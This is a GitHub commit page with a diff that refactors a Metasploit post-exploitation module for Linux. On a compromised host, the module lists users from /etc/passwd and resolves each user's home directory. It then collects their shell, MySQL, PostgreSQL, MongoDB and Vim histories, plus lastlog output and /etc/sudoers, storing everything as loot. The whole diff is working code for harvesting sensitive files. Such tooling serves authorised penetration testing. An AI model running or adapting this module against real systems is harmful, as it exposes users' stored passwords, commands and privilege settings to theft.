Skip to content

Commit 46aa165

Browse files
committed
Land rapid7#4481, enum_users_history improvements
2 parents a69609f + 745bfb2 commit 46aa165

File tree

1 file changed

+79
-97
lines changed

1 file changed

+79
-97
lines changed

modules/post/linux/gather/enum_users_history.rb

Lines changed: 79 additions & 97 deletions
Original file line numberDiff line numberDiff line change
@@ -11,142 +11,124 @@ class Metasploit3 < Msf::Post
1111
include Msf::Post::File
1212
include Msf::Post::Linux::System
1313

14-
15-
def initialize(info={})
16-
super( update_info( info,
17-
'Name' => 'Linux Gather User History',
18-
'Description' => %q{
19-
This module gathers user specific information.
20-
User list, bash history, mysql history, vim history,
21-
lastlog and sudoers.
22-
},
23-
'License' => MSF_LICENSE,
24-
'Author' =>
25-
[
26-
# based largely on get_bash_history function by Stephen Haywood
27-
'ohdae <bindshell[at]live.com>'
28-
],
29-
'Platform' => ['linux'],
30-
'SessionTypes' => ['shell', 'meterpreter']
31-
))
32-
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Linux Gather User History',
17+
'Description' => %q{
18+
This module gathers the following user-specific information:
19+
shell history, MySQL history, PostgreSQL history, MongoDB history,
20+
Vim history, lastlog, and sudoers.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
# based largely on get_bash_history function by Stephen Haywood
26+
'ohdae <bindshell[at]live.com>'
27+
],
28+
'Platform' => ['linux'],
29+
'SessionTypes' => ['shell', 'meterpreter']
30+
))
3331
end
3432

3533
def run
3634
distro = get_sysinfo
3735

38-
print_good("Info:")
36+
print_good('Info:')
3937
print_good("\t#{distro[:version]}")
4038
print_good("\t#{distro[:kernel]}")
4139

42-
users = execute("/bin/cat /etc/passwd | cut -d : -f 1")
43-
user = execute("/usr/bin/whoami")
40+
user = execute('/usr/bin/whoami')
41+
users = execute('/bin/cat /etc/passwd | cut -d : -f 1').chomp.split
42+
users = [user] if user != 'root' || users.blank?
4443

45-
mount = execute("/bin/mount -l")
46-
get_bash_history(users, user)
47-
get_sql_history(users, user)
48-
get_vim_history(users, user)
49-
last = execute("/usr/bin/last && /usr/bin/lastlog")
50-
sudoers = cat_file("/etc/sudoers")
44+
vprint_status("Retrieving history for #{users.length} users")
45+
shells = %w{ash bash csh ksh sh tcsh zsh}
46+
users.each do |u|
47+
home = get_home_dir(u)
48+
shells.each do |shell|
49+
get_shell_history(u, home, shell)
50+
end
51+
get_mysql_history(u, home)
52+
get_psql_history(u, home)
53+
get_mongodb_history(u, home)
54+
get_vim_history(u, home)
55+
end
5156

52-
save("Last logs", last) unless last.nil?
53-
save("Sudoers", sudoers) unless sudoers.nil? || sudoers =~ /Permission denied/
57+
last = execute('/usr/bin/last && /usr/bin/lastlog')
58+
sudoers = cat_file('/etc/sudoers')
59+
save('Last logs', last) unless last.blank?
60+
save('Sudoers', sudoers) unless sudoers.blank? || sudoers =~ /Permission denied/
5461
end
5562

56-
def save(msg, data, ctype="text/plain")
57-
ltype = "linux.enum.users"
63+
def save(msg, data, ctype = 'text/plain')
64+
ltype = 'linux.enum.users'
5865
loot = store_loot(ltype, ctype, session, data, nil, msg)
5966
print_status("#{msg} stored in #{loot.to_s}")
6067
end
6168

6269
def get_host
6370
case session.type
6471
when /meterpreter/
65-
host = sysinfo["Computer"]
72+
host = sysinfo['Computer']
6673
when /shell/
67-
host = session.shell_command_token("hostname").chomp
74+
host = session.shell_command_token('hostname').chomp
6875
end
69-
7076
print_status("Running module against #{host}")
71-
72-
return host
77+
host
7378
end
7479

7580
def execute(cmd)
7681
vprint_status("Execute: #{cmd}")
7782
output = cmd_exec(cmd)
78-
return output
83+
output
7984
end
8085

8186
def cat_file(filename)
8287
vprint_status("Download: #{filename}")
8388
output = read_file(filename)
84-
return output
89+
output
8590
end
8691

87-
def get_bash_history(users, user)
88-
if user == "root" and users != nil
89-
users = users.chomp.split()
90-
users.each do |u|
91-
if u == "root"
92-
vprint_status("Extracting history for #{u}")
93-
hist = cat_file("/root/.bash_history")
94-
else
95-
vprint_status("Extracting history for #{u}")
96-
hist = cat_file("/home/#{u}/.bash_history")
97-
end
98-
99-
save("History for #{u}", hist) unless hist.nil? || hist =~ /No such file or directory/
92+
def get_home_dir(user)
93+
home = execute("echo ~#{user}")
94+
if home.empty?
95+
if user == 'root'
96+
home = '/root'
97+
else
98+
home = "/home/#{user}"
10099
end
101-
else
102-
vprint_status("Extracting history for #{user}")
103-
hist = cat_file("/home/#{user}/.bash_history")
104-
vprint_status(hist)
105-
save("History for #{user}", hist) unless hist.nil? || hist =~ /No such file or directory/
106100
end
101+
home
107102
end
108103

109-
def get_sql_history(users, user)
110-
if user == "root" and users != nil
111-
users = users.chomp.split()
112-
users.each do |u|
113-
if u == "root"
114-
vprint_status("Extracting SQL history for #{u}")
115-
sql_hist = cat_file("/root/.mysql_history")
116-
else
117-
vprint_status("Extracting SQL history for #{u}")
118-
sql_hist = cat_file("/home/#{u}/.mysql_history")
119-
end
120-
121-
save("History for #{u}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/
122-
end
123-
else
124-
vprint_status("Extracting SQL history for #{user}")
125-
sql_hist = cat_file("/home/#{user}/.mysql_history")
126-
vprint_status(sql_hist) if sql_hist
127-
save("SQL History for #{user}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/
128-
end
104+
def get_shell_history(user, home, shell)
105+
vprint_status("Extracting #{shell} history for #{user}")
106+
hist = cat_file("#{home}/.#{shell}_history")
107+
save("#{shell} history for #{user}", hist) unless hist.blank? || hist =~ /No such file or directory/
129108
end
130109

131-
def get_vim_history(users, user)
132-
if user == "root" and users != nil
133-
users = users.chomp.split
134-
users.each do |u|
135-
if u == "root"
136-
vprint_status("Extracting VIM history for #{u}")
137-
vim_hist = cat_file("/root/.viminfo")
138-
else
139-
vprint_status("Extracting VIM history for #{u}")
140-
vim_hist = cat_file("/home/#{u}/.viminfo")
141-
end
142-
143-
save("VIM History for #{u}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/
144-
end
145-
else
146-
vprint_status("Extracting history for #{user}")
147-
vim_hist = cat_file("/home/#{user}/.viminfo")
148-
vprint_status(vim_hist)
149-
save("VIM History for #{user}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/
150-
end
110+
def get_mysql_history(user, home)
111+
vprint_status("Extracting MySQL history for #{user}")
112+
sql_hist = cat_file("#{home}/.mysql_history")
113+
save("MySQL history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
114+
end
115+
116+
def get_psql_history(user, home)
117+
vprint_status("Extracting PostgreSQL history for #{user}")
118+
sql_hist = cat_file("#{home}/.psql_history")
119+
save("PostgreSQL history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
120+
end
121+
122+
def get_mongodb_history(user, home)
123+
vprint_status("Extracting MongoDB history for #{user}")
124+
sql_hist = cat_file("#{home}/.dbshell")
125+
save("MongoDB history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
126+
end
127+
128+
def get_vim_history(user, home)
129+
vprint_status("Extracting Vim history for #{user}")
130+
vim_hist = cat_file("#{home}/.viminfo")
131+
save("Vim history for #{user}", vim_hist) unless vim_hist.blank? || vim_hist =~ /No such file or directory/
151132
end
133+
152134
end

0 commit comments

Comments
 (0)